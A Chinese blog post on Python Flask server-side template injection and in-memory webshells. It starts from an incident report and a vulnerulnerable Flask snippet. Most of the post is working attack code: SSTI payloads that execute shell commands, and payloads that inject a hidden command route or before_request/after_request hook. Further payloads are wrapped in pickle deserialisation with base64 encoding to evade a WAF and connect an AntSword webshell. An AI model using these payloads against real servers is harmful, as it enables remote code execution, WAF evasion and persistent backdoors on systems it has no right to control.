首页 > 系统相关 >【ABKing】记一次Python SSTI的内存马技术研究

【ABKing】记一次Python SSTI的内存马技术研究

时间:2025-01-17 11:45:00浏览次数:1  
标签:__ .__ Python base64 request flask SSTI ABKing import

通过对Python SSTI的技术研究,发现网上的一些Payload具有局限性,并非能直接使用,踩了一些坑,写出了自己的独创Payload

0x00 起因

有个用户单位反馈,HW期间被攻击队打了个RCE,并且提供了攻击队的报告和防火墙的流量。正好临近年关,闲来无事,想到已经很久没有认真钻研技术了,遂开始进行研究。
image
经过分析,这似乎是SSTI的注入手法
通过对base64解码,发现注入了tornado的内存马

0x01 对Flask SSTI的研究

之前对SSTI不甚熟悉,正好借此机会,对SSTI进行研究,经过查找相关资料,发现最广泛的是Flask SSTI,于是先从这里入手
环境搭建:https://github.com/vulhub/vulhub/blob/master/flask/ssti/
或者可以直接使用在线的靶场,https://buuoj.cn/challenges#[Flask]SSTI
引起Flask SSTI的简单代码如下:

from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

通过以下payload可以判断存在SSTI
image
于是可以尝试使用python中的魔术方法:

__class__         当前类
__mro__           所有父类
__subclasses__()  所有子类
__globals__       全局变量
__builtins__      Python的所有“内置”标识符的直接访问
__import__        导入模块

有了以上基础后,我们可以找到一个RCE的Payload
{{ ''.__class__.__mro__[-1].__subclasses__()[67].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
image
至此,已经完成了RCE

0x02 对Python Flask 注入简单内存马的研究

根据内存马的原理,其实就是增加一条路由,在这条路由中增加一些代码操作
恰好存在这样一个方法,app.add_url_rule()
这里我使用的环境是
flask==1.1.1,jinja2==2.10.3
网上的Payload:

url_for.__globals__['__builtins__']['eval'](
    "app.add_url_rule(
        '/shell', 
        'shell', 
        lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
    )",
    {
        '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
        'app':url_for.__globals__['current_app']
    }
)


sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read())
经过测试,这其中的url_for,sys,app,request等变量,并不能直接使用,会报错 该变量未定义
经过不懈的努力,终于发现了在flask.globals中存在上下文变量
image
由此,我们显然可以得到一个Payload
{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['__import__']('flask').globals.current_app.add_url_rule('/abking123','shell',lambda :__import__('os').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get('abking')).read()) }}
简直完美啊,通过__builtins__访问内置的__import__来导入flask,通过flask.globals访问current_app,这样就可以调用add_url_rule()了
那么结果怎么样呢?
image
emmmmmmm,这个报错也太神奇了吧,语法错误???
经过一个字符一个字符查看,不可能出现语法错误的,搜了半天,都没结果
在StackOverflow上面勉强得到的类似的结论:逻辑比较复杂,不要在jinja2的模板中使用复杂的逻辑,比如lambda匿名函数
只能稍微修改一下Payload了
{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('flask').globals.current_app.add_url_rule('/abking123','abking123',lambda :__import__('os').popen(__import__('flask').globals.request.args.get('abking')).read())") }}
接着访问 /abking123?abking=whoami
image
至此,flask的内存马就注入完毕,并且可以正常使用了

但是!在最新版的flask中,我们会发现存在问题:
image
flask最新版本做了限制,在setupmethod装饰器中增加了校验函数,这样一来就会导致在任何请求中,都无法再调用到使用了setupmethod装饰器的函数。
有什么办法解决吗?
当然有!
类似java中filter的概念,flask在每个请求前都有一个before_request,在每个请求后都有一个after_request
具体使用的时候就是在before_request请求列表或after_request中append一个新的函数
这里给出的一个使用了before_request的通杀新老版本的Payload:
{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: CmdResp if __import__('sys').modules['__main__'].__dict__['request'].args.get('abking') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get(\'abking\')).read())\")==None else None)") }}
同样地,还有使用after_request的通杀新老版本的Payload:
{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if __import__('sys').modules['__main__'].__dict__['request'].args.get('abking') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get(\'abking\')).read())\")==None else resp)") }}

0x03 加密传输

恰好这次攻击队的报告给了我灵感,使用pickle.loads()进行反序列化,可以完成加密传输
pickle中__reduce__魔法函数会在一个对象被反序列化时自动执行,我们可以通过在__reduce__魔法函数内植入恶意代码的方式进行任意命令执行。

以下是一个代码示例:

import pickle
import base64

code = """
def f():
    return __import__('os').popen('whoami').read()
f()
"""


class Exp:
    def __reduce__(self):
        return __builtins__.exec, (code,)


base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)
pickle.loads(base64.b64decode(base64_class))

执行结果如下:
image

此时,将控制台输出的base64编码后的字符串放入到SSTI的Payload中
可以得到
{{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFhBAAAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnb3MnKS5wb3Blbignd2hvYW1pJykucmVhZCgpCmYoKQpxAYVxAlJxAy4='))") }}
这样可以起到编码绕过WAF的作用,并且代码逻辑还可以更复杂一点,全部放入base64编码的字符串中,那么接下来只要寻找到蚁剑/冰蝎/哥斯拉的python格式的webshell就可以了。
但是,经过我的广泛搜索,竟然找不到python的webshell,唯一的蚁剑的自带的python格式的webshell也仅适用于python2,自己写一个吧,太麻烦了,这是下下策。

0x04 峰回路转完成蚁剑连接

经过我的不懈努力,在蚁剑的官方微信公众号上面发现了一个功能( https://mp.weixin.qq.com/s/tPPg4VgQH-n2O3Lnfg8lVA
image
竟然可以直连RCE漏洞,还没有语言的限制,这也太爽了吧
开始操作!
低版本flask支持add_url_rule()

import pickle
import base64

code = """
def f():
    return __import__('flask').globals.current_app.add_url_rule('/abking123', 'abking123', lambda: __import__('os').popen(__import__('flask').globals.request.form['abking']).read(), methods=['POST'])
f()
"""


class Exp:
    def __reduce__(self):
        return __builtins__.exec, (code,)


base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)

这里需要注意的是,一定要methods=['POST'],因为后续蚁剑连接的时候只支持POST方法

任意版本flask通杀1:

import pickle
import base64

code = """
def f():
    return __import__('flask').globals.current_app.before_request_funcs.setdefault(None, []).append(lambda: CmdResp if __import__('flask').globals.request.form.get('abking') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('flask').globals.request.form.get('abking')).read())")==None else None)
f()
"""

class Exp:
    def __reduce__(self):
        return __builtins__.exec, (code,)


base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)

任意版本flask通杀2:

import pickle
import base64

code = """
def f():
    return __import__('flask').globals.current_app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if __import__('flask').globals.request.form.get('abking') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('flask').globals.request.form.get('abking')).read())")==None else resp)
f()
"""
class Exp:
    def __reduce__(self):
        return __builtins__.exec, (code,)


base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)

注意:request.args修改成request.form的原因是蚁剑仅支持POST方法连接

将得到的base64编码后的字符串放入SSTI的Payload中,那么最终通杀低版本flask的加密Payload为
{{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFjWAAAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLmN1cnJlbnRfYXBwLmFkZF91cmxfcnVsZSgnL2Fia2luZzEyMycsICdhYmtpbmcxMjMnLCBsYW1iZGE6IF9faW1wb3J0X18oJ29zJykucG9wZW4oX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLnJlcXVlc3QuZm9ybVsnYWJraW5nJ10pLnJlYWQoKSwgbWV0aG9kcz1bJ1BPU1QnXSkKZigpCnEBhXECUnEDLg=='))") }}
使用app.before_request_funcs.setdefault()函数的通杀任意版本flask的加密Payload为
{{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFhpAQAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLmN1cnJlbnRfYXBwLmJlZm9yZV9yZXF1ZXN0X2Z1bmNzLnNldGRlZmF1bHQoTm9uZSwgW10pLmFwcGVuZChsYW1iZGE6IENtZFJlc3AgaWYgX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLnJlcXVlc3QuZm9ybS5nZXQoJ2Fia2luZycpIGFuZCBleGVjKCJnbG9iYWwgQ21kUmVzcDtDbWRSZXNwPV9faW1wb3J0X18oJ2ZsYXNrJykubWFrZV9yZXNwb25zZShfX2ltcG9ydF9fKCdvcycpLnBvcGVuKF9faW1wb3J0X18oJ2ZsYXNrJykuZ2xvYmFscy5yZXF1ZXN0LmZvcm0uZ2V0KCdhYmtpbmcnKSkucmVhZCgpKSIpPT1Ob25lIGVsc2UgTm9uZSkKZigpCnEBhXECUnEDLg=='))") }}
使用app.after_request_funcs.setdefault()函数的通杀任意版本flask的加密Payload为
{{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFhtAQAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLmN1cnJlbnRfYXBwLmFmdGVyX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLCBbXSkuYXBwZW5kKGxhbWJkYSByZXNwOiBDbWRSZXNwIGlmIF9faW1wb3J0X18oJ2ZsYXNrJykuZ2xvYmFscy5yZXF1ZXN0LmZvcm0uZ2V0KCdhYmtpbmcnKSBhbmQgZXhlYygiZ2xvYmFsIENtZFJlc3A7Q21kUmVzcD1fX2ltcG9ydF9fKCdmbGFzaycpLm1ha2VfcmVzcG9uc2UoX19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdmbGFzaycpLmdsb2JhbHMucmVxdWVzdC5mb3JtLmdldCgnYWJraW5nJykpLnJlYWQoKSkiKT09Tm9uZSBlbHNlIHJlc3ApCmYoKQpxAYVxAlJxAy4='))") }}
其中,eval可以用exec互相代替。
执行结果如下:
image
启动蚁剑连接! http://127.0.0.1:5000/abking123 密码abking
注意:如果蚁剑报错405,原因就是蚁剑只支持POST方法连接,所以一定需要methods=['POST']
image
image
至此,完成任意版本flask的加密SSTI的蚁剑内存马注入!

0x04 参考

https://www.cnblogs.com/gxngxngxn/p/18181936
https://tiangonglab.github.io/blog/tiangongarticle038/

0x04 碎碎念

标签:__,.__,Python,base64,request,flask,SSTI,ABKing,import
From: https://www.cnblogs.com/ABKing/p/18663225

相关文章

  • 12.python的bug、异常相关
    提示:12.python的bug、异常相关文章目录bugpython异常处理机制常见异常类型bug1.语法错误SyntaxError  使用了中文符号,input输入的是字符类型误用等自查表2.索引超出错误IndexError  索引超出列表范围python异常处理机制解决方案:异常处理机制,......
  • 9.python元组与集合
    提示:python元组与集合元组没有增删改查:**元组是python内置的数据结构之一,是不可变序列(无增删改操作)**不可变序列还有字符串文章目录元组元组创建元组遍历集合集合的相关操作集合间的关系集合的数学操作集合生成式小总结不可变序列:不是不能进行增删改(相对于用......
  • Python 灵感收集贴:你的奇思妙想,我来代码实现!
    Python灵感收集贴:你的奇思妙想,我来代码实现!亲爱的粉丝朋友们!每天在键盘前敲敲打打,作为一个Python爱好者,我经常幻想用代码改变世界……嗯,至少是让生活中的小麻烦消失得无影无踪!......
  • 《CPython Internals》阅读笔记:p177-p220
    《CPythonInternals》学习第11天,p177-p220总结,总计44页。一、技术总结1.memoryallocationinC(1)staticmemeoryallocationMemoryrequirementsarecalculatedatcompiletimeandallocatedbytheexecutablewhenitstarts.(2)automaticmemeoryallocation......
  • Python爬虫:从入门到实践
    Python爬虫学习资料Python爬虫学习资料Python爬虫学习资料在当今数字化信息爆炸的时代,数据已成为企业和个人发展的重要资产。Python爬虫作为一种高效获取网络数据的工具,正逐渐被广大开发者所熟知和应用。无论是市场调研、学术研究,还是数据分析,Python爬虫都能发挥巨大作......
  • python下载小说
    #https://url/kan/45458/1.htmlimporttimefromasyncioimportthreads#1.单章节下载url.bq02.cc#2.数据解析(静态数据xpathre正则bs4css)frombs4importBeautifulSoup##请求url数据类型字符串importthreadingimportrequestsfrombs4importBeautiful......
  • python 按时间戳删除32×32数组的前2列和后9列(批量处理多个txt)
    前面是单个txt这次批量处理多个txt将所得结果保存到另一个文件夹Python首先处理一个txt内容中多个时间戳,每个时间戳\d{4}-\d{2}-\d{2}\d{2}:\d{2}:\d{2}$对应32行×32列数组,删除数组前2列和后9列。其次采用第一步方法,批量处理某文件夹内所有txt文件,将结果批量存到另一个文件......
  • 从零开始的python之旅(day4)
    从零开始的python之旅(day4)  昨天博客园好像崩了,所以昨天晚上没写,就挪到今天来补了,昨天主要是文件操作,话不多说,上代码  addressBookdefmain():file1=open('TeleAddressBook.txt','rb')file2=open('EmailAddressBook.txt','rb')file1.readline()fil......
  • 【ArcGIS】基于ChatGPT、GIS与Python机器学习的地质灾害风险评估、易发性分析、信息化
    目录第一章、ChatGPT大语言模型提示词与地质灾害基础及平台介绍第二章、空间信息数据库建设第三章、ChatGPT支持下地质灾害风险评价模型与方法第四章、ChatGPT支持下地质灾害风险性、易损性、易发性评价第五章、基于ChatGPT、Python数据预处理与分析【进阶篇】第六章、Ch......
  • Python-基础-列表(list)
    目录1、列表1.1列表的定义1.2列表的特点2、列表的常用语法2.1常用操作2.2列表常用的方法2.3列表常用的函数3、列表推导式1、列表1.1列表的定义列表(List)是一种用于存储多个项目的可变数据结构。它允许你将不同类型的元素(如数字、字符串、甚至其他列表)组织在......